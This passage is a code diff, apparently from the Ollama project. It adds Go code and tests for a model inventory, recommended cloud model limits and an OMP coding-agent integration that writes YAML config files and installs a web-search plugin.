+	model.Capabilities = append([]modelpkg.Capability(nil), model.Capabilities...)
+	model.Details.Families = append([]string(nil), model.Details.Families...)
+	return model
+}
+
+func cloneLaunchModels(models []LaunchModel) []LaunchModel {
+	cloned := make([]LaunchModel, len(models))
+	for i, model := range models {
+		cloned[i] = cloneLaunchModel(model)
+	}
+	return cloned
+}
+
+func launchModelNames(models []LaunchModel) []string {
+	names := make([]string, 0, len(models))
+	for _, model := range models {
+		if model.Name != "" {
+			names = append(names, model.Name)
+		}
+	}
+	return names
+}
+
+func launchModelsFromNames(names []string) []LaunchModel {
+	models := make([]LaunchModel, 0, len(names))
+	for _, name := range names {
+		if name == "" {
+			continue
+		}
+		models = append(models, fallbackLaunchModel(name))
+	}
+	return models
+}

cmd/launch/model_inventory_test.go

@@ -0,0 +1,80 @@
+package launch
+
+import (
+	"context"
+	"fmt"
+	"net/http"
+	"net/http/httptest"
+	"net/url"
+	"testing"
+
+	"github.com/ollama/ollama/api"
+	modelpkg "github.com/ollama/ollama/types/model"
+)
+
+func TestModelInventoryResolveRefreshesLocalMiss(t *testing.T) {
+	calls := 0
+	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		if r.URL.Path != "/api/tags" {
+			http.NotFound(w, r)
+			return
+		}
+		calls++
+		if calls == 1 {
+			fmt.Fprint(w, `{"models":[]}`)
+			return
+		}
+		fmt.Fprint(w, `{"models":[{"name":"new-model","size":123,"details":{"context_length":65536,"embedding_length":1024},"capabilities":["vision","tools"]}]}`)
+	}))
+	defer srv.Close()
+
+	u, _ := url.Parse(srv.URL)
+	inventory := newModelInventory(api.NewClient(u, srv.Client()))
+
+	got := inventory.Resolve(context.Background(), []string{"new-model"})
+	if calls != 2 {
+		t.Fatalf("List calls = %d, want 2", calls)
+	}
+	if len(got) != 1 {
+		t.Fatalf("Resolve returned %d models, want 1", len(got))
+	}
+	if got[0].Name != "new-model" {
+		t.Fatalf("Name = %q, want new-model", got[0].Name)
+	}
+	if got[0].ContextLength != 65_536 || got[0].EmbeddingLength != 1_024 {
+		t.Fatalf("metadata = context %d embedding %d, want refreshed metadata", got[0].ContextLength, got[0].EmbeddingLength)
+	}
+	if !got[0].HasCapability(modelpkg.CapabilityVision) || !got[0].ToolCapable {
+		t.Fatalf("capabilities = %v toolCapable=%v, want refreshed capabilities", got[0].Capabilities, got[0].ToolCapable)
+	}
+}
+
+func TestModelInventoryResolveDoesNotRefreshCloudMiss(t *testing.T) {
+	calls := 0
+	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		if r.URL.Path != "/api/tags" {
+			http.NotFound(w, r)
+			return
+		}
+		calls++
+		fmt.Fprint(w, `{"models":[]}`)
+	}))
+	defer srv.Close()
+
+	u, _ := url.Parse(srv.URL)
+	inventory := newModelInventory(api.NewClient(u, srv.Client()))
+
+	got := inventory.Resolve(context.Background(), []string{"glm-5.1:cloud"})
+	if calls != 1 {
+		t.Fatalf("List calls = %d, want 1", calls)
+	}
+	if len(got) != 1 {
+		t.Fatalf("Resolve returned %d models, want 1", len(got))
+	}
+	if got[0].Name != "glm-5.1:cloud" || !got[0].Remote {
+		t.Fatalf("resolved model = %#v, want cloud fallback", got[0])
+	}
+	if got[0].ContextLength <= 0 || got[0].MaxOutputTokens <= 0 {
+		t.Fatalf("cloud limits not applied: %#v", got[0])
+	}
+}

cmd/launch/models.go

@@ -23,10 +23,10 @@ import (
 )
 
 var recommendedModels = []ModelItem{
-	{Name: "kimi-k2.6:cloud", Description: "State-of-the-art coding, long-horizon execution, and multimodal agent swarm capability", Recommended: true, ContextLength: 262_144, MaxOutputTokens: 262_144},
-	{Name: "qwen3.5:cloud", Description: "Reasoning, coding, and agentic tool use with vision", Recommended: true, ContextLength: 262_144, MaxOutputTokens: 32_768},
-	{Name: "glm-5.1:cloud", Description: "Reasoning and code generation", Recommended: true, ContextLength: 202_752, MaxOutputTokens: 131_072},
-	{Name: "minimax-m2.7:cloud", Description: "Fast, efficient coding and real-world productivity", Recommended: true, ContextLength: 204_800, MaxOutputTokens: 128_000},
+	{Name: "kimi-k2.6:cloud", Description: "State-of-the-art coding, long-horizon execution, and multimodal agent swarm capability", Recommended: true, Details: api.ModelDetails{ContextLength: 262_144}, MaxOutputTokens: 262_144},
+	{Name: "qwen3.5:cloud", Description: "Reasoning, coding, and agentic tool use with vision", Recommended: true, Details: api.ModelDetails{ContextLength: 262_144}, MaxOutputTokens: 32_768},
+	{Name: "glm-5.1:cloud", Description: "Reasoning and code generation", Recommended: true, Details: api.ModelDetails{ContextLength: 202_752}, MaxOutputTokens: 131_072},
+	{Name: "minimax-m2.7:cloud", Description: "Fast, efficient coding and real-world productivity", Recommended: true, Details: api.ModelDetails{ContextLength: 204_800}, MaxOutputTokens: 128_000},
 	{Name: "gemma4", Description: "Reasoning and code generation locally", Recommended: true, VRAMBytes: 12 * format.GigaByte},
 	{Name: "qwen3.5", Description: "Reasoning, coding, and visual understanding locally", Recommended: true, VRAMBytes: 14 * format.GigaByte},
 }
@@ -115,7 +115,7 @@ func setDynamicCloudModelLimits(limits map[string]cloudModelLimit) {
 func cloudModelLimitsFromRecommendations(recommendations []ModelItem) map[string]cloudModelLimit {
 	limits := make(map[string]cloudModelLimit, len(recommendations))
 	for _, rec := range recommendations {
-		if !isCloudModelName(rec.Name) || rec.ContextLength <= 0 || rec.MaxOutputTokens <= 0 {
+		if !isCloudModelName(rec.Name) || rec.Details.ContextLength <= 0 || rec.MaxOutputTokens <= 0 {
 			continue
 		}
 		base, stripped := modelref.StripCloudSourceTag(rec.Name)
@@ -123,7 +123,7 @@ func cloudModelLimitsFromRecommendations(recommendations []ModelItem) map[string
 			continue
 		}
 		limits[base] = cloudModelLimit{
-			Context: rec.ContextLength,
+			Context: rec.Details.ContextLength,
 			Output:  rec.MaxOutputTokens,
 		}
 	}
@@ -194,10 +194,10 @@ func ensureCloudAuth(ctx context.Context, client *api.Client, modelList string)
 	}
 
 	var aErr api.AuthorizationError
-	if !errors.As(err, &aErr) || aErr.SigninURL == "" {
-		if err != nil {
-			return err
-		}
+	if err != nil && !errors.As(err, &aErr) {
+		return nil
+	}
+	if err == nil || aErr.SigninURL == "" {
 		return fmt.Errorf("%s requires sign in", modelList)
 	}
 
@@ -258,19 +258,23 @@ func showOrPullWithPolicy(ctx context.Context, client *api.Client, model string,
 	if _, err := client.Show(ctx, &api.ShowRequest{Model: model}); err == nil {
 		return nil
 	} else {
+		if isCloudModel {
+			if disabled, known := cloudStatusDisabled(ctx, client); known && disabled {
+				return errors.New(internalcloud.DisabledError("remote inference is unavailable"))
+			}
+			var statusErr api.StatusError
+			if errors.As(err, &statusErr) && statusErr.StatusCode == http.StatusNotFound {
+				return fmt.Errorf("model %q not found", model)
+			}
+			return nil
+		}
+
 		var statusErr api.StatusError
 		if !errors.As(err, &statusErr) || statusErr.StatusCode != http.StatusNotFound {
 			return err
 		}
 	}
 
-	if isCloudModel {
-		if disabled, known := cloudStatusDisabled(ctx, client); known && disabled {
-			return errors.New(internalcloud.DisabledError("remote inference is unavailable"))
-		}
-		return fmt.Errorf("model %q not found", model)
-	}
-
 	switch policy {
 	case missingModelAutoPull:
 		return pullMissingModel(ctx, client, model)
@@ -299,18 +303,17 @@ func pullMissingModel(ctx context.Context, client *api.Client, model string) err
 }
 
 // prepareEditorIntegration persists models and applies editor-managed config files.
-func prepareEditorIntegration(name string, editor Editor, models []string) error {
+func prepareEditorIntegration(name string, editor Editor, models []LaunchModel) error {
 	if err := editor.Edit(models); err != nil {
 		return fmt.Errorf("setup failed: %w", err)
 	}
-	if err := config.SaveIntegration(name, models); err != nil {
+	if err := config.SaveIntegration(name, launchModelNames(models)); err != nil {
 		return fmt.Errorf("failed to save: %w", err)
 	}
 	return nil
 }
 
-func prepareManagedSingleIntegration(name string, managed ManagedSingleModel, model string, models []string) error {
-	models = dedupeModelList(append([]string{model}, models...))
+func prepareManagedSingleIntegration(name string, managed ManagedSingleModel, model string, models []LaunchModel) error {
 	var err error
 	if withModels, ok := managed.(ManagedModelListConfigurer); ok {
 		err = withModels.ConfigureWithModels(model, models)
@@ -365,11 +368,11 @@ func buildModelListWithRecommendations(existing []modelInfo, recommendations []M
 		}
 		displayName := strings.TrimSuffix(m.Name, ":latest")
 		existingModels[displayName] = true
-		item := ModelItem{Name: displayName, Recommended: recommended[displayName], Description: recDesc[displayName]}
 		if rec, ok := recByName[displayName]; ok {
-			item = copyModelRecommendationFields(displayName, rec)
+			items = append(items, modelItemFromInventory(displayName, m, copyModelRecommendationFields(displayName, rec)))
+		} else {
+			items = append(items, modelItemFromInventory(displayName, m, ModelItem{Name: displayName, Recommended: recommended[displayName], Description: recDesc[displayName]}))
 		}
-		items = append(items, item)
 	}
 
 	for _, rec := range recommendations {
@@ -483,22 +486,20 @@ func copyModelRecommendationFields(name string, rec ModelItem) ModelItem {
 	return rec
 }
 
+func modelItemFromInventory(name string, info modelInfo, item ModelItem) ModelItem {
+	item.Name = name
+	item.ToolCapable = info.ToolCapable
+	item.Capabilities = slices.Clone(info.Capabilities)
+	item.Size = info.Size
+	item.Details = info.Details
+	return item
+}
+
 // isCloudModelName reports whether the model name has an explicit cloud source.
 func isCloudModelName(name string) bool {
 	return modelref.HasExplicitCloudSource(name)
 }
 
-// filterCloudModels drops remote-only models from the given inventory.
-func filterCloudModels(existing []modelInfo) []modelInfo {
-	filtered := existing[:0]
-	for _, m := range existing {
-		if !m.Remote {
-			filtered = append(filtered, m)
-		}
-	}
-	return filtered
-}
-
 // filterCloudItems removes cloud models from selection items.
 func filterCloudItems(items []ModelItem) []ModelItem {
 	filtered := items[:0]

cmd/launch/models_test.go

@@ -0,0 +1,83 @@
+package launch
+
+import (
+	"testing"
+
+	"github.com/ollama/ollama/api"
+	"github.com/ollama/ollama/format"
+	modelpkg "github.com/ollama/ollama/types/model"
+)
+
+func TestBuildModelList_UsesInventoryMetadataForInstalledModels(t *testing.T) {
+	existing := []modelInfo{
+		{
+			Name:         "custom-tools:latest",
+			ToolCapable:  true,
+			Capabilities: []modelpkg.Capability{modelpkg.CapabilityCompletion, modelpkg.CapabilityTools, modelpkg.CapabilityThinking},
+			Size:         7500 * format.MegaByte,
+			Details: api.ModelDetails{
+				ParameterSize:     "8B",
+				QuantizationLevel: "Q4_K_M",
+				ContextLength:     131_072,
+				EmbeddingLength:   4096,
+			},
+		},
+	}
+
+	items, _, _, _ := buildModelList(existing, nil, "")
+	var got ModelItem
+	for _, item := range items {
+		if item.Name == "custom-tools" {
+			got = item
+			break
+		}
+	}
+	if got.Name == "" {
+		t.Fatal("custom-tools not found in items")
+	}
+	if !got.ToolCapable {
+		t.Fatal("expected installed model to preserve tool capability from tags metadata")
+	}
+	if got.Details.ContextLength != 131_072 {
+		t.Fatalf("Details.ContextLength = %d, want 131072", got.Details.ContextLength)
+	}
+	if got.Size != 7500*format.MegaByte {
+		t.Fatalf("Size = %d, want %d", got.Size, 7500*format.MegaByte)
+	}
+	if got.Description != "" {
+		t.Fatalf("Description = %q, want empty for installed model without recommendation copy", got.Description)
+	}
+}
+
+func TestBuildModelList_InstalledRecommendedPreservesRecommendationAndMetadata(t *testing.T) {
+	existing := []modelInfo{
+		{
+			Name:         "qwen3.5",
+			ToolCapable:  true,
+			Capabilities: []modelpkg.Capability{modelpkg.CapabilityCompletion, modelpkg.CapabilityTools, modelpkg.CapabilityVision},
+			Size:         14 * format.GigaByte,
+			Details:      api.ModelDetails{ContextLength: 262_144},
+		},
+	}
+
+	items, _, _, _ := buildModelList(existing, nil, "")
+	var got ModelItem
+	for _, item := range items {
+		if item.Name == "qwen3.5" {
+			got = item
+			break
+		}
+	}
+	if got.Name == "" {
+		t.Fatal("qwen3.5 not found in items")
+	}
+	if !got.Recommended || !got.ToolCapable {
+		t.Fatalf("recommended/tool metadata = %v/%v, want true/true", got.Recommended, got.ToolCapable)
+	}
+	if got.Details.ContextLength != 262_144 {
+		t.Fatalf("Details.ContextLength = %d, want 262144", got.Details.ContextLength)
+	}
+	if got.Description != "Reasoning, coding, and visual understanding locally" {
+		t.Fatalf("Description = %q, want recommendation description", got.Description)
+	}
+}

cmd/launch/omp.go

@@ -0,0 +1,454 @@
+package launch
+
+import (
+	"fmt"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"runtime"
+	"slices"
+	"strings"
+
+	"github.com/ollama/ollama/cmd/config"
+	"github.com/ollama/ollama/cmd/internal/fileutil"
+	"github.com/ollama/ollama/envconfig"
+	"github.com/ollama/ollama/types/model"
+	"gopkg.in/yaml.v3"
+)
+
+const (
+	ompIntegrationName = "omp"
+	ompProviderName    = "ollama"
+	ompSetupVersion    = 1
+	ompWebSearchPlugin = "@ollama/pi-web-search"
+)
+
+// OMP implements Runner for the OMP coding-agent integration.
+type OMP struct{}
+
+func (o *OMP) String() string { return "OMP" }
+
+func (o *OMP) Paths() []string {
+	var paths []string
+	for _, pathFn := range []func() (string, error){ompModelsPath, ompConfigPath} {
+		path, err := pathFn()
+		if err != nil {
+			continue
+		}
+		if _, err := os.Stat(path); err == nil {
+			paths = append(paths, path)
+		}
+	}
+	return paths
+}
+
+func (o *OMP) Configure(model string) error {
+	return o.ConfigureWithModels(model, []LaunchModel{fallbackLaunchModel(model)})
+}
+
+func (o *OMP) ConfigureWithModels(primary string, models []LaunchModel) error {
+	if primary == "" {
+		return nil
+	}
+	if len(models) == 0 {
+		models = []LaunchModel{fallbackLaunchModel(primary)}
+	}
+	if err := writeOMPModelsConfig(primary, models); err != nil {
+		return err
+	}
+	return writeOMPAgentConfig()
+}
+
+func (o *OMP) CurrentModel() string {
+	cfg, err := readOMPModelsConfig()
+	if err != nil {
+		return ""
+	}
+	provider, ok := ompProvider(cfg)
+	if !ok {
+		return ""
+	}
+	if !ompProviderHealthy(provider) {
+		return ""
+	}
+	models, _ := provider["models"].([]any)
+	for _, raw := range models {
+		entry, ok := raw.(map[string]any)
+		if !ok {
+			continue
+		}
+		if id, _ := entry["id"].(string); id != "" {
+			return id
+		}
+	}
+	return ""
+}
+
+func (o *OMP) Onboard() error {
+	return config.MarkIntegrationOnboarded(ompIntegrationName)
+}
+
+func (o *OMP) RequiresInteractiveOnboarding() bool { return false }
+
+func (o *OMP) args(model string, extra []string) []string {
+	var args []string
+	if model != "" {
+		args = append(args, "--model", ompModelName(model))
+	}
+	args = append(args, extra...)
+	return args
+}
+
+func ompModelName(model string) string {
+	if strings.HasPrefix(model, "ollama/") {
+		return model
+	}
+	return "ollama/" + model
+}
+
+func (o *OMP) findPath() (string, error) {
+	if p, err := exec.LookPath("omp"); err == nil {
+		return p, nil
+	}
+	home, err := os.UserHomeDir()
+	if err != nil {
+		return "", err
+	}
+	for _, dir := range []string{
+		filepath.Join(home, ".local", "bin"),
+		filepath.Join(home, ".bun", "bin"),
+	} {
+		for _, name := range ompExecutableNames() {
+			fallback := filepath.Join(dir, name)
+			if _, err := os.Stat(fallback); err == nil {
+				return fallback, nil
+			}
+		}
+	}
+	return "", exec.ErrNotFound
+}
+
+func ompExecutableNames() []string {
+	if runtime.GOOS == "windows" {
+		return []string{"omp.exe", "omp.cmd", "omp.bat"}
+	}
+	return []string{"omp"}
+}
+
+func (o *OMP) Run(model string, _ []LaunchModel, args []string) error {
+	ompPath, err := o.findPath()
+	if err != nil {
+		return fmt.Errorf("omp is not installed, install from https://omp.sh")
+	}
+
+	ensureOMPWebSearchPlugin(ompPath)
+
+	cmd := exec.Command(ompPath, o.args(model, args)...)
+	cmd.Stdin = os.Stdin
+	cmd.Stdout = os.Stdout
+	cmd.Stderr = os.Stderr
+	cmd.Env = os.Environ()
+	return cmd.Run()
+}
+
+func ensureOMPWebSearchPlugin(bin string) {
+	if !shouldManageOllamaWebSearch() {
+		fmt.Fprintf(os.Stderr, "%sCloud is disabled; skipping %s setup.%s\n", ansiGray, ompWebSearchPlugin, ansiReset)
+		return
+	}
+
+	fmt.Fprintf(os.Stderr, "%sChecking OMP web search plugin...%s\n", ansiGray, ansiReset)
+
+	installed, err := ompPluginInstalled(bin, ompWebSearchPlugin)
+	if err != nil {
+		fmt.Fprintf(os.Stderr, "%s  Warning: could not check %s installation: %v%s\n", ansiYellow, ompWebSearchPlugin, err, ansiReset)
+		return
+	}
+
+	verb := "Installing"
+	warnVerb := "install"
+	doneVerb := "Installed"
+	if installed {
+		verb = "Updating"
+		warnVerb = "update"
+		doneVerb = "Updated"
+	}
+
+	fmt.Fprintf(os.Stderr, "%s%s %s...%s\n", ansiGray, verb, ompWebSearchPlugin, ansiReset)
+	cmd := exec.Command(bin, "plugin", "install", ompWebSearchPlugin)
+	cmd.Stdout = os.Stdout
+	cmd.Stderr = os.Stderr
+	if err := cmd.Run(); err != nil {
+		fmt.Fprintf(os.Stderr, "%s  Warning: could not %s %s: %v%s\n", ansiYellow, warnVerb, ompWebSearchPlugin, err, ansiReset)
+		return
+	}
+
+	fmt.Fprintf(os.Stderr, "%s  ✓ %s %s%s\n", ansiGreen, doneVerb, ompWebSearchPlugin, ansiReset)
+}
+
+func ompPluginInstalled(bin, plugin string) (bool, error) {
+	cmd := exec.Command(bin, "plugin", "list")
+	out, err := cmd.CombinedOutput()
+	if err != nil {
+		msg := strings.TrimSpace(string(out))
+		if msg == "" {
+			return false, err
+		}
+		return false, fmt.Errorf("%w: %s", err, msg)
+	}
+
+	versioned := plugin + "@"
+	for _, line := range strings.Split(string(out), "\n") {
+		trimmed := strings.TrimSpace(line)
+		if strings.Contains(trimmed, versioned) || trimmed == plugin {
+			return true, nil
+		}
+	}
+	return false, nil
+}
+
+func ompModelsPath() (string, error) {
+	dir, err := ompAgentDir()
+	if err != nil {
+		return "", err
+	}
+	return filepath.Join(dir, "models.yml"), nil
+}
+
+func ompConfigPath() (string, error) {
+	dir, err := ompAgentDir()
+	if err != nil {
+		return "", err
+	}
+	return filepath.Join(dir, "config.yml"), nil
+}
+
+func ompAgentDir() (string, error) {
+	if dir := strings.TrimSpace(os.Getenv("PI_CODING_AGENT_DIR")); dir != "" {
+		return dir, nil
+	}
+
+	home, err := os.UserHomeDir()
+	if err != nil {
+		return "", err
+	}
+	configDir := strings.TrimSpace(os.Getenv("PI_CONFIG_DIR"))
+	if configDir == "" {
+		configDir = ".omp"
+	}
+	if filepath.IsAbs(configDir) {
+		return filepath.Join(configDir, "agent"), nil
+	}
+	return filepath.Join(home, configDir, "agent"), nil
+}
+
+func readOMPModelsConfig() (map[string]any, error) {
+	path, err := ompModelsPath()
+	if err != nil {
+		return nil, err
+	}
+	data, err := os.ReadFile(path)
+	if err != nil {
+		return nil, err
+	}
+	var cfg map[string]any
+	if err := yaml.Unmarshal(data, &cfg); err != nil {
+		return nil, err
+	}
+	if cfg == nil {
+		cfg = make(map[string]any)
+	}
+	return cfg, nil
+}
+
+func writeOMPModelsConfig(primary string, models []LaunchModel) error {
+	path, err := ompModelsPath()
+	if err != nil {
+		return err
+	}
+	if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
+		return err
+	}
+
+	cfg := make(map[string]any)
+	if existing, err := readOMPModelsConfig(); err == nil {
+		cfg = existing
+	}
+
+	provider := ensureOMPProvider(cfg)
+	existingByID := ompModelEntriesByID(provider)
+	ordered := append([]LaunchModel(nil), models...)
+	if model, ok := findLaunchModel(ordered, primary); ok {
+		ordered = append([]LaunchModel{model}, removeLaunchModel(ordered, primary)...)
+	} else {
+		ordered = append([]LaunchModel{fallbackLaunchModel(primary)}, ordered...)
+	}
+
+	var merged []any
+	seen := make(map[string]bool, len(ordered))
+	for _, model := range ordered {
+		if model.Name == "" || seen[model.Name] {
+			continue
+		}
+		seen[model.Name] = true
+		entry := ompModelConfig(model)
+		if existing, ok := existingByID[model.Name]; ok {
+			for key, value := range existing {
+				if _, overridden := entry[key]; !overridden {
+					entry[key] = value
+				}
+			}
+		}
+		merged = append(merged, entry)
+	}
+
+	for _, raw := range ompProviderModels(provider) {
+		entry, ok := raw.(map[string]any)
+		if !ok {
+			merged = append(merged, raw)
+			continue
+		}
+		id, _ := entry["id"].(string)
+		if id == "" || seen[id] {
+			continue
+		}
+		merged = append(merged, entry)
+	}
+	provider["models"] = merged
+
+	data, err := yaml.Marshal(cfg)
+	if err != nil {
+		return err
+	}
+	return fileutil.WriteWithBackup(path, data, ompIntegrationName)
+}
+
+func writeOMPAgentConfig() error {
+	path, err := ompConfigPath()
+	if err != nil {
+		return err
+	}
+	if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
+		return err
+	}
+
+	cfg := make(map[string]any)
+	if data, err := os.ReadFile(path); err == nil {
+		if err := yaml.Unmarshal(data, &cfg); err != nil {
+			return err
+		}
+		if cfg == nil {
+			cfg = make(map[string]any)
+		}
+	}
+	cfg["setupVersion"] = ompSetupVersion
+
+	data, err := yaml.Marshal(cfg)
+	if err != nil {
+		return err
+	}
+	return fileutil.WriteWithBackup(path, data, ompIntegrationName)
+}
+
+func ensureOMPProvider(cfg map[string]any) map[string]any {
+	providers, _ := cfg["providers"].(map[string]any)
+	if providers == nil {
+		providers = make(map[string]any)
+		cfg["providers"] = providers
+	}
+	provider, _ := providers[ompProviderName].(map[string]any)
+	if provider == nil {
+		provider = make(map[string]any)
+		providers[ompProviderName] = provider
+	}
+
+	provider["baseUrl"] = ompBaseURL()
+	provider["api"] = "openai-responses"
+	provider["auth"] = "none"
+	provider["discovery"] = map[string]any{"type": "ollama"}
+	return provider
+}
+
+func ompBaseURL() string {
+	return strings.TrimRight(envconfig.ConnectableHost().String(), "/") + "/v1"
+}
+
+func ompProviderHealthy(provider map[string]any) bool {
+	baseURL, _ := provider["baseUrl"].(string)
+	if strings.TrimRight(baseURL, "/") != strings.TrimRight(ompBaseURL(), "/") {
+		return false
+	}
+	api, _ := provider["api"].(string)
+	if api != "openai-responses" {
+		return false
+	}
+	auth, _ := provider["auth"].(string)
+	if auth != "none" {
+		return false
+	}
+	discovery, _ := provider["discovery"].(map[string]any)
+	if discovery == nil {
+		return false
+	}
+	discoveryType, _ := discovery["type"].(string)
+	return discoveryType == "ollama"
+}
+
+func ompProvider(cfg map[string]any) (map[string]any, bool) {
+	providers, ok := cfg["providers"].(map[string]any)
+	if !ok {
+		return nil, false
+	}
+	provider, ok := providers[ompProviderName].(map[string]any)
+	return provider, ok
+}
+
+func ompProviderModels(provider map[string]any) []any {
+	models, _ := provider["models"].([]any)
+	return models
+}
+
+func ompModelEntriesByID(provider map[string]any) map[string]map[string]any {
+	out := make(map[string]map[string]any)
+	for _, raw := range ompProviderModels(provider) {
+		entry, ok := raw.(map[string]any)
+		if !ok {
+			continue
+		}
+		if id, _ := entry["id"].(string); id != "" {
+			out[id] = entry
+		}
+	}
+	return out
+}
+
+func ompModelConfig(modelInfo LaunchModel) map[string]any {
+	entry := map[string]any{
+		"id":   modelInfo.Name,
+		"name": modelInfo.Name,
+	}
+	input := []string{"text"}
+	if slices.Contains(modelInfo.Capabilities, model.CapabilityVision) {
+		input = append(input, "image")
+	}
+	entry["input"] = input
+
+	if modelInfo.ContextLength > 0 {
+		entry["contextWindow"] = modelInfo.ContextLength
+	}
+	if modelInfo.MaxOutputTokens > 0 {
+		entry["maxTokens"] = modelInfo.MaxOutputTokens
+	}
+	return entry
+}
+
+func removeLaunchModel(models []LaunchModel, name string) []LaunchModel {
+	out := make([]LaunchModel, 0, len(models))
+	for _, model := range models {
+		if launchModelMatches(model.Name, name) || launchModelMatches(name, model.Name) {
+			continue
+		}
+		out = append(out, model)
+	}
+	return out
+}

cmd/launch/omp_test.go

@@ -0,0 +1,687 @@
+package launch
+
+import (
+	"fmt"
+	"net/http"
+	"net/http/httptest"
+	"os"
+	"path/filepath"
+	"runtime"
+	"slices"
+	"strings"
+	"testing"
+
+	modelpkg "github.com/ollama/ollama/types/model"
+	"gopkg.in/yaml.v3"
+)
+
+func TestMain(m *testing.M) {
+	if os.Getenv("OLLAMA_LAUNCH_OMP_TEST_HELPER") == "1" {
+		runOMPTestHelper()
+		return
+	}
+	os.Exit(m.Run())
+}
+
+func runOMPTestHelper() {
+	logPath := os.Getenv("OLLAMA_LAUNCH_OMP_TEST_LOG")
+	if logPath != "" {
+		f, err := os.OpenFile(logPath, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0o644)
+		if err == nil {
+			_, _ = fmt.Fprintln(f, strings.Join(os.Args[1:], " "))
+			_ = f.Close()
+		}
+	}
+
+	if len(os.Args) >= 3 && os.Args[1] == "plugin" && os.Args[2] == "list" {
+		fmt.Print(os.Getenv("OLLAMA_LAUNCH_OMP_TEST_PLUGIN_LIST"))
+		os.Exit(0)
+	}
+	if len(os.Args) >= 4 && os.Args[1] == "plugin" && os.Args[2] == "install" {
+		if os.Getenv("OLLAMA_LAUNCH_OMP_TEST_FAIL_INSTALL") == "1" {
+			_, _ = fmt.Fprintln(os.Stderr, "install failed")
+			os.Exit(1)
+		}
+		os.Exit(0)
+	}
+	os.Exit(0)
+}
+
+func setOMPTestHome(t *testing.T, dir string) {
+	t.Helper()
+	setTestHome(t, dir)
+	t.Setenv("PI_CONFIG_DIR", "")
+	t.Setenv("PI_CODING_AGENT_DIR", "")
+}
+
+func TestOMPIntegration(t *testing.T) {
+	o := &OMP{}
+
+	t.Run("String", func(t *testing.T) {
+		if got := o.String(); got != "OMP" {
+			t.Errorf("String() = %q, want %q", got, "OMP")
+		}
+	})
+
+	t.Run("implements Runner", func(t *testing.T) {
+		var _ Runner = o
+	})
+
+	t.Run("implements ManagedSingleModel", func(t *testing.T) {
+		var _ ManagedSingleModel = o
+	})
+
+	t.Run("implements ManagedModelListConfigurer", func(t *testing.T) {
+		var _ ManagedModelListConfigurer = o
+	})
+
+	t.Run("does not require interactive onboarding", func(t *testing.T) {
+		var _ ManagedInteractiveOnboarding = o
+		if o.RequiresInteractiveOnboarding() {
+			t.Fatal("OMP onboarding should not require an interactive terminal")
+		}
+	})
+}
+
+func TestOMPArgs(t *testing.T) {
+	o := &OMP{}
+
+	tests := []struct {
+		name  string
+		model string
+		args  []string
+		want  []string
+	}{
+		{"with model", "gemma4", nil, []string{"--model", "ollama/gemma4"}},
+		{"with cloud model", "kimi-k2.6:cloud", nil, []string{"--model", "ollama/kimi-k2.6:cloud"}},
+		{"empty model", "", nil, nil},
+		{"with model and extra", "gemma4", []string{"--help"}, []string{"--model", "ollama/gemma4", "--help"}},
+		{"already qualified", "ollama/gemma4", nil, []string{"--model", "ollama/gemma4"}},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			got := o.args(tt.model, tt.args)
+			if !slices.Equal(got, tt.want) {
+				t.Errorf("args(%q, %v) = %v, want %v", tt.model, tt.args, got, tt.want)
+			}
+		})
+	}
+}
+
+func TestOMPRun_WebSearchPluginLifecycle(t *testing.T) {
+	seedOMPHelperBinary := func(t *testing.T, dir string) {
+		t.Helper()
+		src, err := os.Executable()
+		if err != nil {
+			t.Fatal(err)
+		}
+		data, err := os.ReadFile(src)
+		if err != nil {
+			t.Fatal(err)
+		}
+		dst := filepath.Join(dir, ompExecutableNames()[0])
+		if err := os.WriteFile(dst, data, 0o755); err != nil {
+			t.Fatal(err)
+		}
+	}
+
+	setCloudStatus := func(t *testing.T, disabled bool) {
+		t.Helper()
+		srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+			if r.URL.Path == "/api/status" {
+				fmt.Fprintf(w, `{"cloud":{"disabled":%t,"source":"config"}}`, disabled)
+				return
+			}
+			http.NotFound(w, r)
+		}))
+		t.Cleanup(srv.Close)
+		t.Setenv("OLLAMA_HOST", srv.URL)
+	}
+
+	setup := func(t *testing.T, pluginList string, cloudDisabled bool) (string, *OMP) {
+		t.Helper()
+		tmpDir := t.TempDir()
+		setOMPTestHome(t, tmpDir)
+		t.Setenv("PATH", tmpDir)
+		t.Setenv("OLLAMA_LAUNCH_OMP_TEST_HELPER", "1")
+		t.Setenv("OLLAMA_LAUNCH_OMP_TEST_PLUGIN_LIST", pluginList)
+		logPath := filepath.Join(tmpDir, "omp.log")
+		t.Setenv("OLLAMA_LAUNCH_OMP_TEST_LOG", logPath)
+		setCloudStatus(t, cloudDisabled)
+		seedOMPHelperBinary(t, tmpDir)
+		return logPath, &OMP{}
+	}
+
+	t.Run("web search missing installs before launch", func(t *testing.T) {
+		logPath, o := setup(t, "No plugins installed\n", false)
+
+		if err := o.Run("kimi-k2.6:cloud", nil, []string{"session"}); err != nil {
+			t.Fatalf("Run() error = %v", err)
+		}
+
+		calls, err := os.ReadFile(logPath)
+		if err != nil {
+			t.Fatal(err)
+		}
+		got := string(calls)
+		if !strings.Contains(got, "plugin list\n") {
+			t.Fatalf("expected plugin list call, got:\n%s", got)
+		}
+		if !strings.Contains(got, "plugin install "+ompWebSearchPlugin+"\n") {
+			t.Fatalf("expected plugin install call, got:\n%s", got)
+		}
+		if !strings.Contains(got, "--model ollama/kimi-k2.6:cloud session\n") {
+			t.Fatalf("expected final omp launch call, got:\n%s", got)
+		}
+	})
+
+	t.Run("web search present refreshes before launch", func(t *testing.T) {
+		logPath, o := setup(t, "npm Plugins:\n\n● "+ompWebSearchPlugin+"@0.0.5\n", false)
+
+		if err := o.Run("gemma4", nil, []string{"chat"}); err != nil {
+			t.Fatalf("Run() error = %v", err)
+		}
+
+		calls, err := os.ReadFile(logPath)
+		if err != nil {
+			t.Fatal(err)
+		}
+		got := string(calls)
+		if !strings.Contains(got, "plugin install "+ompWebSearchPlugin+"\n") {
+			t.Fatalf("expected plugin refresh install call, got:\n%s", got)
+		}
+		if !strings.Contains(got, "--model ollama/gemma4 chat\n") {
+			t.Fatalf("expected final omp launch call, got:\n%s", got)
+		}
+	})
+
